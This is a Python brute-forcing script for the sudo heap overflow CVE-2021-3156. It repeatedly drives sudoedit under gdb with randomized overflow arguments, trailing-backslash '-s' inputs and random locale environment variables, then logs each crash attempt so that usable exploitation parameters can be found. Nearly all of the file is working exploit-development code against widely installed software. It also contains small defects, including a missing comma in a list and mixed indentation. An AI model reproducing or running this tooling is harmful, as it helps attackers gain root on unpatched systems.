#!/usr/bin/env python3

# bruteforcer to identify attack vectors for CVE-2021-3156

import os
import random

#MAX_U_ARG = 100
#MAX_BOF_ = 500
ARGV_OPT_ = [' -u lockedbyte ', ' -A ', ' -n ', '', ' -u fake ']
GDB_CMD_F = 'run.cmd'

LOG_F_N = 'log.txt.%n%'
LOG_BAK_F = 'bak.txt.'

sz_a = [0x20, 0x30, 0x40,0x50, 0x60, 0x70, 0x80, 0x90, 0xa0, 0xb0,
              0xd0, 0xe0,0x110, 0x120, 0x130, 0x1a0, 0x1c0, 0x1d0, 0x1e0, 
              0x1f0, 0x210, 0x290, 0x310, 0x410, 0x4c0, 0x4d0, 0x540, 0x650, 
              0x660, 0x1010, 0x2da0, 0x4010]

'''
declare -x LC_ADDRESS="C.UTF-8"
declare -x LC_IDENTIFICATION="C.UTF-8"
declare -x LC_MEASUREMENT="C.UTF-8"
declare -x LC_MONETARY="C.UTF-8"
declare -x LC_NAME="C.UTF-8"
declare -x LC_NUMERIC="C.UTF-8"
declare -x LC_PAPER="C.UTF-8"
declare -x LC_TELEPHONE="C.UTF-8"
declare -x LC_TIME="C.UTF-8"
declare -x LC_MESSAGES="C.UTF-8"
'''

LC_ENV = ['LC_ADDRESS', 'LC_IDENTIFICATION', 'LC_MEASUREMENT', 'LC_MONETARY'
	'LC_NAME', 'LC_NUMERIC', 'LC_PAPER', 'LC_TELEPHONE', 'LC_TIME', 
	'LC_MESSAGES', 'LC_CTYPE','LC_ALL', 'LC_COLLATE']

stat_val = 'C.UTF-8'

def sz_to_pl(n):
	return 'A'*(n-0x18)

def genrnd(n, t = 'all'):
    if(t == 'all'):
        alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        alphabet += alphabet.lower()
        alphabet += '1234567890'
        #alphabet += '!|@#$%&/()=?+[]{}-_.:,;<>\\'
    else:
        alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        alphabet += alphabet.lower()
        
    out = 'A'
    n -= 1
    for _ in range(n):
        out += alphabet[random.randint(0, len(alphabet)-1)]
    return out

def get_env_stuff():
    already = []
    append_r = ''
    n_vars = random.randint(0, len(LC_ENV))
    for _ in range(n_vars):
        while(True):
            idx = random.randint(0, len(LC_ENV)-1)
            if(idx not in already):
                break
        already.append(idx)
        which = LC_ENV[idx]
        n_x = random.randint(1, 100)
        add_bl = random.randint(1, 10)
        if(add_bl == 7):
            append_r += 'set env ' + which + ' ' + stat_val + '@' + genrnd(n_x) + '\n'
        else:
            append_r += 'set env ' + which + ' ' + stat_val + '@' + genrnd(n_x) + '\n'
        add_bl_x = random.randint(1, 10)
        if(add_bl_x > 7):
            for __ in range(random.randint(1,5)):
                append_r += 'set env ' + genrnd(random.randint(1,50)) + ' ' + genrnd(random.randint(1,300)) + '\n' # increment o decrement it each round NAME / VALUE
    return append_r
    
def perform_init(user_n, bof_n, opt, n, env_stuff):

    print('[*] Round #' + str(n))
    
    out_f = LOG_F_N.replace('%n%', str(n))
    
    cx = random.randint(1, 10)

    chk_bof = 'B'*bof_n

    if(cx > 6):
        chk_bof += ' '
        xw = random.randint(2, 7)
        xw = xw-1
    	for ___ in range(xw):
            chk_bof += 'B'*random.randint(1, 200) + ' ' 
    
    chk_u = user_n
    
    f_gdb_c = '''file /usr/local/bin/sudoedit
'''+env_stuff+'''
r ''' + opt + ''' -s \'''' + chk_u + '''\\' ''' + chk_bof + '''
'''
    f = open(GDB_CMD_F, 'w')
    f.write(f_gdb_c)
    f.close()
    
    os.system('sudo gdb < ' + GDB_CMD_F + ' > ' + out_f + ' 2>&1')

    f2 = open(LOG_BAK_F + str(n), 'w')
    f2.write(f_gdb_c)
    f2.close()

    return

def main():
    print('[*] Bruteforcing...')
    nx = 0
    while True:
        x = random.randint(5, random.randint(10, 200)) # BOF -- increment this each round
        #i = random.randint(1, random.randint(10, 200)) # USER
        i = sz_to_pl(sz_a[random.randint(0, len(sz_a)-1)])
        n = ARGV_OPT_[random.randint(0, len(ARGV_OPT_)-1)]
        env_stuff = get_env_stuff()
        perform_init(i,x,n,nx,env_stuff)
        nx += 1

main()
print('[+] Bruteforce completed!')

